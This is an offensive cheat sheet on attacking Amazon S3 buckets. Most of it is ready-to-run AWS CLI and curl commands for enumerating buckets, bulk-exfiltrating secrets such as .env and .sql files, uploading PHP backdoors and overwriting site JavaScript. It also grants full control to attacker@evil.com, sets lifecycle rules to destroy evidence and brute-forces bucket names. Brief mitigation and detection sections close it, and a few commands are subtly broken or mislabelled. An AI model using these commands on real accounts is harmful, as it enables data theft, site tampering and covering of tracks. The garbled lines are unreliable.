High Severity | T1552
🪣 S3 Bucket Attacks
🧠 Description
Amazon S3 (Simple Storage Service) buckets are a common target for attackers due to misconfigurations that allow unauthorized access, data exfiltration, and potential privilege escalation.
Why S3 is Targeted:
- Data-rich: Often contains backups, configs, keys, PII
- Misconfigurations: Public access, weak ACLs, wrong policies
- Easy enumeration: Bucket names are often predictable
- Credential leakage: S3 logs may expose keys
- Lateral movement: Can lead to further compromise
🔍 Enumeration
List All S3 Buckets:
# AWS CLI enumeration aws s3 ls aws s3 ls --region us-east-1 # List all buckets across regions aws s3api list-buckets --query 'Buckets[*].[Name,Region]' # Get bucket location aws s3api get-bucket-location --bucket target-bucket
Enumerate Bucket Contents:
# List bucket contents aws s3 ls s3://target-bucket/ aws s3 ls s3://target-bucket/ --recursive # Get bucket policy aws s3api get-bucket-policy --bucket target-bucket # Get bucket ACL aws s3api get-bucket-acl --bucket target-bucket # Get bucket versioning aws s3api get-bucket-versioning --bucket target-bucket
Public Access Check:
# Check public access block aws s3api get-public-access-block --bucket target-bucket # Check bucket policy status aws s3api get-bucket-policy-status --bucket target-bucket # Check ACL for Everyone aws s3api get-bucket-acl --bucket target-bucket | grep -i everyone
Website Hosting Detection:
# Check website configuration aws s3api get-bucket-website --bucket target-bucket # Try direct access curl https://target-bucket.s3.amazonaws.com curl https://target-bucket.s3.amazonaws.com/.git/config
💣 Access Techniques
1. Anonymous Access:
# List public bucket aws s3 ls s3://public-bucket/ --no-sign-request # Download files aws s3 cp s3://public-bucket/secrets.csv ./ --no-sign-request aws s3 sync s3://public-bucket/ ./local-dir/ --no-sign-request # Direct HTTP access curl https://public-bucket.s3.amazonaws.com/secrets.csv
2. Authenticated Access:
# With credentials aws s3 ls s3://target-bucket/ aws s3 sync s3://target-bucket/ ./download/ --region us-east-1 # Recursive download aws s3 cp s3://target-bucket/ . --recursive
3. Find Bucket Names:
# Common patterns aws s3 ls s3://company-name-prod/ aws s3 ls s3://company-name-staging/ aws s3 ls s3://company-name-backup/ # Subdomain enumeration nslookup target.com # Look for s3.company.com # Wayback Machine curl "https://web.archive.org/web/*/https://*.s3.amazonaws.com/*"
📤 Data Exfiltration
Download Everything:
# Full sync aws s3 sync s3://target-bucket/ /tmp/exfil/ --region us-east-1 # Specific file types aws s3 sync s3://target-bucket/ /tmp/exfil/ --exclude "*" --include "*.env" aws s3 sync s3://target-bucket/ /tmp/exfil/ --exclude "*" --include "*.sql" aws s3 sync s3://target-bucket/ /tmp/exfil/ --exclude "*" --include "*config*" # Check for sensitive extensions # .env, .pem, .sql, .zip, .bak, .config, .csv, .json
Versioned Bucket Access:
# List object versions aws s3api list-object-versions --bucket target-bucket # Get specific version aws s3api get-object --bucket target-bucket --key backup/v1.zip version-id VERSION_ID output.zip # List delete markers aws s3api list-object-versions --bucket target-bucket --prefix "" | grep DeleteMarker
Common Sensitive Files:
.env- Environment variables with API keysconfig/*.json- Configuration filesbackup/*.sql- Database backupskeys/*.pem- Private keyscreds.json- Hardcoded credentials.git/config- Git repository leaks
🎯 Upload & Persistence
Upload Malicious Files:
# Upload backdoor aws s3 cp shell.php s3://vulnerable-bucket/shell.php # Overwrite legitimate files aws s3 cp malicious.js s3://app-bucket/static/app.js --storage-class STANDARD # Set custom metadata aws s3 cp payload s3://target-bucket/ --metadata "source=legitimate"
Setup Website Backdoor:
# If bucket is website-enabled aws s3 website s3://target-bucket/ --index-document index.html --error-document error.html # Upload reverse shell as index aws s3 cp index.html s3://malicious-bucket/ # Set correct content-type aws s3 cp shell.php s3://target-bucket/ --content-type "application/x-httpd-php"
Object Lifecycle Exploitation:
# Check lifecycle rules
aws s3api get-bucket-lifecycle-configuration --bucket target-bucket
# If you can modify, set immediate expiration to destroy evidence
aws s3api put-bucket-lifecycle-configuration --bucket target-bucket --lifecycle-configuration '{
"Rules": [{
"ID": "EvictAll",
"Status": "Enabled",
"Expiration": {"Days": 1},
"Filter": {"Prefix": ""}
}]
}'
🔓 ACL Exploitation
Grant Permissions to Yourself:
# Add yourself to bucket ACL
aws s3api put-bucket-acl --bucket target-bucket --grant-read uri=http://acs.amazonaws.com/groups/global/AllUsers
# Add specific user
aws s3api put-bucket-acl --bucket target-bucket --grant-full-control email-address=attacker@evil.com
# Remove public access
aws s3api put-public-access-block --bucket target-bucket \
--public-access-block-configuration "BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"
Check Current Permissions:
# View full ACL aws s3api get-bucket-acl --bucket target-bucket # Check policy aws s3api get-bucket-policy --bucket target-bucket | jq .Policy # View all permissions aws s3api get-object-acl --bucket target-bucket --key sensitive/file.txt
🚀 Cross-Account Attacks
Assume Role via Bucket Policy:
# Check for cross-account policies aws s3api get-bucket-policy --bucket target-bucket # Look for iam:PassRole or sts:AssumeRole in policy # If you can trigger Lambda from S3 event, you might escalate
Lambda S3 Exploitation:
# If bucket triggers Lambda # Lambda might have higher privileges # Upload malicious file to trigger Lambda aws s3 cp payload.zip s3://target-bucket/trigger.zip # Lambda could have ec2:DescribeInstances, iam:CreateUser, etc.
🛡️ Mitigation
✅ Secure Configuration:
- Block Public Access: Enable for all buckets
- Use Bucket Policies: Explicit deny for public access
- Encrypt Data: SSE-KMS for sensitive data
- Versioning: Enable for backup and audit
- Logging: Enable S3 access logging
- Tags: Label sensitive buckets
AWS Config Rules:
# Required remediations - s3-bucket-public-read-prohibited - s3-bucket-public-write-prohibited - s3-bucket-ssl-requests-only - s3-bucket-versioning-enabled - s3-bucket-logging-enabled
Bucket Policy Example (Deny Unencrypted):
{
"Version": "2012-10-17",
"Statement": [{
"Sid": "DenyUnEncryptedUploads",
"Effect": "Deny",
"Principal": "*",
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::target-bucket/*",
"Condition": {
"Null": {
"s3:x-amz-server-side-encryption": "true"
}
}
}]
}
🔍 Detection
CloudTrail Monitoring:
# Events to alert on - ListBuckets (unusual times) - GetObject on sensitive prefixes - PutObject with malware patterns - DeleteObject on critical files - PutBucketPolicy with public access - GetBucketAcl # CloudWatch filter pattern fields @timestamp, s3.bucket.name, s3.object.key, errorCode | filter (eventName = "GetObject") and (s3.object.key like /secret|cred|key|backup/) | sort @timestamp desc
GuardDuty Findings:
- Exfiltration:S3/ObjectRead.All
- Discovery:S3/BucketDiscovery
- UnauthorizedAccess:S3/MaliciousIPCaller
🛠️ Tools
Automated enumeration:
- aws-cli: Official CLI for S3 operations
- s3fs: Mount S3 as filesystem
- mass3: Brute-force bucket names
- bucket-view: Web-based bucket enumeration
Mass Enumeration:
# Use wordlist for common names for word in $(cat wordlist.txt); do aws s3 ls s3://$word/ --no-sign-request 2>/dev/null && echo "FOUND: $word" done # Check for company backups aws s3 ls s3://company-backup/ --no-sign-request aws s3 ls s3://company-prod/ --no-sign-request aws s3 ls s3://company-dev/ --no-sign-request